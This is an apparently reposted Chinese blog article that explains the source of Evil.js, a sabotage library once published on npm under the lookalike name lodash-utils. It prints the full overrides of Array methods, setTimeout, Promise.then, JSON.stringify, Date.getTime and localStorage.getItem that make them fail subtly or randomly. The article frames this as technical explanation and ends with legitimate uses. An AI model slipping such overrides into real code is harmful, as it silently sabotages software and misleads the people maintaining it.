首頁 > 軟體

Evil.js專案原始碼解讀

2022-08-19 14:02:50

引言

2022年8月18日,一個名叫Evil.js的專案突然走紅,README介紹如下:

什麼?黑心996公司要讓你提桶跑路了?

想在離開前給你們的專案留點小 禮物 ?

偷偷地把本專案引入你們的專案吧,你們的專案會有但不僅限於如下的神奇效果:

  • 當陣列長度可以被7整除時,Array.includes 永遠返回false。
  • 當週日時,Array.map 方法的結果總是會丟失最後一個元素。
  • Array.filter 的結果有2%的概率丟失最後一個元素。
  • setTimeout 總是會比預期時間慢1秒才觸發。
  • Promise.then 在週日時有10%不會註冊。
  • JSON.stringify 會把I(大寫字母I)變成l(小寫字母L)。
  • Date.getTime() 的結果總是會慢一個小時。
  • localStorage.getItem 有5%機率返回空字串。

並且作者釋出了這個包到npm上,名叫lodash-utils,一眼看上去,是個非常正常的npm包,跟utils-lodash這個正經的包的名稱非常相似。

如果有人誤裝了lodash-utils這個包並引入,程式碼錶現可能就一團亂麻了,還找不到原因。真是給黑心996公司的小“禮物”了。

現在,這個Github倉庫已經被刪除了(不過還是可以搜到一些人fork的程式碼),npm包也已經把它標記為存在安全問題,將程式碼從npm上移除了。可見npm官方還是很靠譜的,及時下線有風險的程式碼。

原始碼解析

作者是如何做到的呢?我們可以學習一下,但是隻單純學技術,不要作惡噢。要做更多有趣的事情。

立即執行函數

程式碼整體是一個立即執行函數,

(global => {
})((0, eval('this')));

該函數的引數是(0, eval('this')),返回值其實就是window,會賦值給函數的引數global

為什麼要用立即執行函數?

這樣的話,內部定義的變數不會向外暴露。

如果你直接在函數外面宣告變數,例如:const a = 123;那麼你很可能就定義了全域性變數,用window.a就獲取到它的值了,這不是個好習慣。

所以使用立即執行函數,可以方便的定義區域性變數。

includes方法

陣列長度可以被7整除時,本方法永遠返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};

includes是一個非常常用的方法,判斷陣列中是否包括某一項。而且相容性還不錯,除了IE基本都支援。

作者具體方案是先儲存參照給_includes。重寫includes方法時,有時候呼叫_includes,有時候不呼叫_includes

注意,這裡_includes是一個閉包變數。所以它會常駐記憶體(在堆中),但是開發者沒有辦法去直接參照。

map方法

當週日時,Array.map方法的結果總是會丟失最後一個元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判斷週日?new Date().getDay() === 0即可。

這裡作者還做了相容性處理,相容了陣列長度為0的情況,通過Math.max(result.length - 1, 0),邊界情況也處理的很好。

filter方法

Array.filter的結果有2%的概率丟失最後一個元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

includes一樣,不多介紹了。

setTimeout

setTimeout總是會比預期時間慢1秒才觸發。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}

這個其實不太好,太容易發現了,不建議用。

Promise.then

Promise.then 在週日時有10%機率不會註冊。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 &amp;&amp; Math.random() &lt; 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}

牛逼,週日的時候才出現的Bug,但是週日正好不上班。如果有使用者週日反饋了Bug,開發者週一上班後還無法復現,會以為是使用者環境問題。

JSON.stringify

JSON.stringify 會把'I'變成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}

字串的replace方法,非常常用,但是很多開發者會誤用,以為'1234321'.replace('2', 't')就會把所有的'2'替換為't',其實這隻會替換第一個出現的'2'。正確方案就是像作者一樣,第一個引數使用正則,並在後面加個g表示全域性替換。

Date.getTime

Date.getTime() 的結果總是會慢一個小時。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

localStorage.getItem

localStorage.getItem 有5%機率返回空字串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}

用途

作者很聰明,有多種方式去改寫原生行為。

但是除了作惡,我們還可以做更多有價值的事情,比如:

  • 修改原生fetch,每次請求失敗時,可以自動做一次上報失敗原因給監控後臺。
  • 修改原生fetch,統計所有請求平均耗時。
  • 修改原生localStorage,每次set、get、remove時,預設加一個固定的key在前方。因為localStorage是按域名維度儲存的,如果你沒有引入微前端方案做好localStorage隔離,就需要自己開發這種工具,做好本地儲存隔離。
  • 如果你是做前端基建工作的,不希望開發者使用某些原生的API,也可以直接攔截掉,並在開發環境下提示警告,提示開發者不允許用該API的原因和替代方案。

以上就是Evil.js專案原始碼解讀的詳細內容,更多關於Evil.js原始碼解讀的資料請關注it145.com其它相關文章!


IT145.com E-mail:sddin#qq.com